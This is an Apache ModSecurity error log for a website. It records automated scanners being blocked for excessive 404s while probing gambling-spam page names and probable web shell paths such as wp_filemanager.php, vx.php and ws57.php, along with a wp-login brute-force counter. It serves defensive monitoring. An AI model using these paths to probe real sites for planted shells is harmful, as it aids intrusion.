[Thu Apr 23 07:33:44.759888 2026] [:error] [pid 64967:tid 64970] [client 54.37.252.152:36528] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aela2IAV4GfOOdX8QzoabAAAAYE"]
[Thu Apr 23 07:33:47.299603 2026] [:error] [pid 43083:tid 43105] [client 54.37.252.152:36530] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aela2zC5hrvNXosL83LZZQAAANQ"]
[Thu Apr 23 07:33:49.668914 2026] [:error] [pid 65000:tid 65045] [client 54.37.252.152:36536] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aela3b6vRb9j6psK2ZasYQAAAgw"]
[Thu Apr 23 07:34:53.447895 2026] [:error] [pid 64998:tid 65026] [client 54.37.252.152:38932] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aelbHYV5EysYcTLjmwgKvwAAAdg"]
[Thu Apr 23 07:34:55.972812 2026] [:error] [pid 43083:tid 43087] [client 54.37.252.152:33436] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aelbHzC5hrvNXosL83LcTAAAAMI"]
[Thu Apr 23 07:34:58.581706 2026] [:error] [pid 59700:tid 59711] [client 54.37.252.152:33438] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aelbIpXyGZJFeAIDWtloUQAAAUk"]
[Thu Apr 23 07:35:01.144688 2026] [:error] [pid 42972:tid 43017] [client 54.37.252.152:33444] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aelbJcOAb-3sOknsk4cqVAAAAEE"]
[Thu Apr 23 07:35:03.743412 2026] [:error] [pid 43083:tid 43099] [client 54.37.252.152:44806] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aelbJzC5hrvNXosL83LcbgAAAM4"]
[Thu Apr 23 07:35:06.233208 2026] [:error] [pid 43083:tid 43102] [client 54.37.252.152:44818] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aelbKjC5hrvNXosL83LcgQAAANE"]
[Thu Apr 23 07:35:08.812580 2026] [:error] [pid 59700:tid 59709] [client 54.37.252.152:44828] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aelbLJXyGZJFeAIDWtlocwAAAUc"]
[Thu Apr 23 07:35:11.238088 2026] [:error] [pid 65000:tid 65056] [client 54.37.252.152:44830] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aelbL76vRb9j6psK2ZavggAAAhc"]
[Thu Apr 23 07:35:13.701001 2026] [:error] [pid 59700:tid 59724] [client 54.37.252.152:51502] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aelbMZXyGZJFeAIDWtlofQAAAVY"]
[Thu Apr 23 07:35:16.089840 2026] [:error] [pid 64967:tid 64979] [client 54.37.252.152:51506] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aelbNIAV4GfOOdX8Qzoa-AAAAYo"]
[Thu Apr 23 07:35:18.467552 2026] [:error] [pid 59700:tid 59704] [client 54.37.252.152:51520] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aelbNpXyGZJFeAIDWtlolQAAAUI"]
[Thu Apr 23 07:35:21.172358 2026] [:error] [pid 43083:tid 43093] [client 54.37.252.152:51536] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aelbOTC5hrvNXosL83LdBQAAAMg"]
[Thu Apr 23 07:35:23.824582 2026] [:error] [pid 43083:tid 43091] [client 54.37.252.152:52018] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aelbOzC5hrvNXosL83LdHQAAAMY"]
[Thu Apr 23 07:35:26.304607 2026] [:error] [pid 64998:tid 65016] [client 54.37.252.152:52028] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aelbPoV5EysYcTLjmwgL5AAAAc4"]
[Thu Apr 23 07:35:28.937462 2026] [:error] [pid 64998:tid 65003] [client 54.37.252.152:52034] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aelbQIV5EysYcTLjmwgMCQAAAcE"]
[Thu Apr 23 08:42:41.510531 2026] [:error] [pid 42971:tid 42995] [client 82.165.11.51:45482] [client 82.165.11.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.11.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aelrATEP2_5RswrH8bHEhQAAAAk"]
[Thu Apr 23 08:56:15.322174 2026] [:error] [pid 64998:tid 65019] [client 20.215.251.95:43517] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeluL4V5EysYcTLjmwhFmAAAAdE"]
[Thu Apr 23 08:56:16.725059 2026] [:error] [pid 64998:tid 65006] [client 20.215.251.95:5617] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeluMIV5EysYcTLjmwhFogAAAcQ"]
[Thu Apr 23 08:56:23.927016 2026] [:error] [pid 65000:tid 65046] [client 20.215.251.95:38971] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeluN76vRb9j6psK2ZbZ6QAAAg0"]
[Thu Apr 23 08:56:27.258893 2026] [:error] [pid 43083:tid 43094] [client 20.215.251.95:37759] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeluOzC5hrvNXosL83L5pAAAAMk"]
[Thu Apr 23 08:56:29.199966 2026] [:error] [pid 59700:tid 59706] [client 20.215.251.95:37736] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeluPZXyGZJFeAIDWtl8kAAAAUQ"]
[Thu Apr 23 08:56:31.756150 2026] [:error] [pid 59700:tid 59710] [client 20.215.251.95:37883] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeluP5XyGZJFeAIDWtl8lwAAAUg"]
[Thu Apr 23 08:56:33.598177 2026] [:error] [pid 65000:tid 65042] [client 20.215.251.95:48934] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aeluQb6vRb9j6psK2ZbZ-wAAAgk"]
[Thu Apr 23 08:56:51.541337 2026] [:error] [pid 43083:tid 43089] [client 20.215.251.95:37852] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeluUzC5hrvNXosL83L5xgAAAMQ"]
[Thu Apr 23 08:56:57.373926 2026] [:error] [pid 65000:tid 65045] [client 20.215.251.95:5473] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeluWb6vRb9j6psK2ZbaIAAAAgw"]
[Thu Apr 23 08:56:58.861419 2026] [:error] [pid 65000:tid 65046] [client 20.215.251.95:58003] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeluWr6vRb9j6psK2ZbaJwAAAg0"]
[Thu Apr 23 08:57:02.117766 2026] [:error] [pid 42972:tid 43027] [client 20.215.251.95:41155] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeluXsOAb-3sOknsk4cz2AAAAEs"]
[Thu Apr 23 08:57:04.559205 2026] [:error] [pid 42972:tid 43025] [client 20.215.251.95:56577] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeluYMOAb-3sOknsk4cz2gAAAEk"]
[Thu Apr 23 08:57:05.857534 2026] [:error] [pid 65000:tid 65052] [client 20.215.251.95:46539] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeluYb6vRb9j6psK2ZbaMwAAAhM"]
[Thu Apr 23 08:57:07.410786 2026] [:error] [pid 64998:tid 65022] [client 20.215.251.95:46571] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeluY4V5EysYcTLjmwhF9QAAAdQ"]
[Thu Apr 23 08:57:11.748489 2026] [:error] [pid 59700:tid 59705] [client 20.215.251.95:38172] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeluZ5XyGZJFeAIDWtl82QAAAUM"]
[Thu Apr 23 08:57:13.348987 2026] [:error] [pid 65000:tid 65056] [client 20.215.251.95:38170] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeluab6vRb9j6psK2ZbaOAAAAhc"]
[Thu Apr 23 08:57:27.873111 2026] [:error] [pid 64998:tid 65020] [client 20.215.251.95:38164] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aelud4V5EysYcTLjmwhGKwAAAdI"]
[Thu Apr 23 08:57:29.676093 2026] [:error] [pid 59700:tid 59721] [client 20.215.251.95:38114] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aelueZXyGZJFeAIDWtl88wAAAVM"]
[Thu Apr 23 08:57:32.214215 2026] [:error] [pid 65000:tid 65043] [client 20.215.251.95:5916] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aelufL6vRb9j6psK2ZbabwAAAgo"]
[Thu Apr 23 08:57:34.330337 2026] [:error] [pid 43083:tid 43102] [client 20.215.251.95:59330] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aelufjC5hrvNXosL83L56gAAANE"]
[Thu Apr 23 08:57:35.497124 2026] [:error] [pid 42971:tid 42994] [client 20.215.251.95:39983] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aelufzEP2_5RswrH8bHHJwAAAAg"]
[Thu Apr 23 08:57:36.436092 2026] [:error] [pid 43083:tid 43107] [client 20.215.251.95:46044] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aelugDC5hrvNXosL83L56wAAANY"]
[Thu Apr 23 08:57:40.406613 2026] [:error] [pid 43083:tid 43103] [client 20.215.251.95:53136] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeluhDC5hrvNXosL83L59QAAANI"]
[Thu Apr 23 08:57:42.137406 2026] [:error] [pid 42973:tid 43050] [client 20.215.251.95:57052] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeluhm6I0QqmmmLTHE3muwAAAIc"]
[Thu Apr 23 08:57:43.175805 2026] [:error] [pid 64998:tid 65020] [client 20.215.251.95:52396] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeluh4V5EysYcTLjmwhGUAAAAdI"]
[Thu Apr 23 08:57:43.911119 2026] [:error] [pid 64998:tid 65016] [client 20.215.251.95:53162] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeluh4V5EysYcTLjmwhGUwAAAc4"]
[Thu Apr 23 08:57:46.355884 2026] [:error] [pid 42972:tid 43031] [client 20.215.251.95:53111] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeluisOAb-3sOknsk4cz5wAAAE8"]
[Thu Apr 23 08:57:47.306839 2026] [:error] [pid 64998:tid 65012] [client 20.215.251.95:59328] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aelui4V5EysYcTLjmwhGXQAAAco"]
[Thu Apr 23 08:57:48.192651 2026] [:error] [pid 42972:tid 43028] [client 20.215.251.95:63481] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aelujMOAb-3sOknsk4cz6QAAAEw"]
[Thu Apr 23 08:57:50.040287 2026] [:error] [pid 43083:tid 43095] [client 20.215.251.95:43432] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aelujjC5hrvNXosL83L6BAAAAMo"]
[Thu Apr 23 08:57:52.412850 2026] [:error] [pid 59700:tid 59712] [client 20.215.251.95:59346] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aelukJXyGZJFeAIDWtl9BAAAAUo"]
[Thu Apr 23 08:57:53.257975 2026] [:error] [pid 42972:tid 43023] [client 20.215.251.95:43415] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aelukcOAb-3sOknsk4cz7QAAAEc"]
[Thu Apr 23 08:57:54.194259 2026] [:error] [pid 59700:tid 59719] [client 20.215.251.95:41911] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aelukpXyGZJFeAIDWtl9CQAAAVE"]
[Thu Apr 23 08:57:55.665087 2026] [:error] [pid 59700:tid 59711] [client 20.215.251.95:39938] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeluk5XyGZJFeAIDWtl9EAAAAUk"]
[Thu Apr 23 08:57:56.492670 2026] [:error] [pid 42973:tid 43066] [client 20.215.251.95:45554] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aelulG6I0QqmmmLTHE3myAAAAJc"]
[Thu Apr 23 08:57:57.439675 2026] [:error] [pid 43083:tid 43091] [client 20.215.251.95:38643] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aelulTC5hrvNXosL83L6CQAAAMY"]
[Thu Apr 23 08:57:58.747221 2026] [:error] [pid 65000:tid 65047] [client 20.215.251.95:52373] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aelulr6vRb9j6psK2ZbaigAAAg4"]
